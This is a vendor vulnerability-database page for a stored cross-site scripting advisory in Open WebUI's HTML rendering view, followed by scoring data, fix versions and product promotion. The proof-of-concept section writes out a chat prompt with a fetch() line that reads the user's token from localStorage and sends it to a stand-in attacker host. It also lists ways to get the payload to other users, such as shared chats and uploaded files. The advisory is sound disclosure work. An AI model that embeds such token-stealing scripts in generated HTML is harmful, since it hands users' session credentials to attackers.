GHSA-4vrc-m9ch-6m3r
HIGHGHSA-4vrc-m9ch-6m3r is a high-severity (CVSS 7.7) Cross-site Scripting (XSS) vulnerability in open-webui. O3 Security confirms whether GHSA-4vrc-m9ch-6m3r is actually reachable in your code before you act, and blocks exploitation at runtime until you patch.
Open WebUI has stored XSS via the HTML renedering view
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
- A successful exploit gives an attacker total control of the affected component, not partial access.
Exploitation and automatability from CISA’s SSVC triage for GHSA-4vrc-m9ch-6m3r.
EPSS Exploitation Probability
EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.
How urgent is this, really
GHSA-4vrc-m9ch-6m3r plotted by exploitation likelihood (EPSS) against impact (CVSS). The shaded corner — EPSS 50%+ and CVSS 7.0+ — is where this CVE doesn't sit, though severity or exploitability alone can still warrant action.
Where this sits among everything scored
Of 358,265 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Real counts from FIRST.org, not a sample — log-scaled since the landscape is heavily right-skewed.
Real-World Exposure
open-webuiReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects PyPI packages — download data is not available via public APIs for these ecosystems.
Description
Summary
Through the HTML rendering view, scripts can be injected and executed. The finding resulted from a penetration test for a customer. It is suspected that the root cause of the issue lies within the core of Open WebUI, which is why it is being reported as a security issue here. Tested on Open WebUI 0.5.4.
Details
The frontend provides a function to visualize the HTML content of a current chat. The content is embedded in an iFrame with the following sandbox directive:
sandbox="allow-scripts allow-forms allow-same-origin"
This means that the content is placed in a sandbox but with permission to execute scripts and access the parent’s data (e.g., local storage). As a result, only a few functions are restricted (e.g., displaying an alert box), but in effect, the sandbox attribute is largely nullified.
PoC
If an HTML document containing a script is included in the chat, this script will be embedded in the view and executed. This can be achieved with a message like the following:
Create an HTML form and insert the following script into the document:
`fetch('https://www.attacker.local/?' + localStorage.getItem('token'))`
By entering this message, the script fetch('https://www.attacker.local/?' + localStorage.getItem('token')) is embedded, allowing the user's token to be read and sent to www.attacker.local.
Impact
Fundamentally, this is a Self-XSS attack (executable only in the user's own context). However, the code could also be injected into another user's context through the following vectors:
- If an attacker manages to trick the user into entering the input (as users may not expect JavaScript execution via chat inputs).
- There is a
Chat Sharefunction. A shared chat can be cloned, potentially transferring the input to another user's context. - If the instruction is embedded in a file (text, PDF, etc.) and the victim uploads the file to the chat, causing the content to be displayed (e.g., using the command "Show content").
- By importing a chat via "Settings - Conversations - Import Conversations."
An attack is only successful under these conditions, which is why the Attack Complexity vector has been set to High.
Overall, the likelihood of exploitation (Exploitability) is considered very low.
Recommendation
The iFrame sandbox should be defined more restrictively to prevent scripts from executing with access to the parent’s data.
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐍PyPI | open-webui | all versions | 0.6.5 |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for open-webui. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.
Fix
Update open-webui to 0.6.5 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-4vrc-m9ch-6m3r is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 pinpoints whether GHSA-4vrc-m9ch-6m3r is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.
Tailored to GHSA-4vrc-m9ch-6m3r. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is GHSA-4vrc-m9ch-6m3r in your dependencies?
O3 detects GHSA-4vrc-m9ch-6m3r across PyPI dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.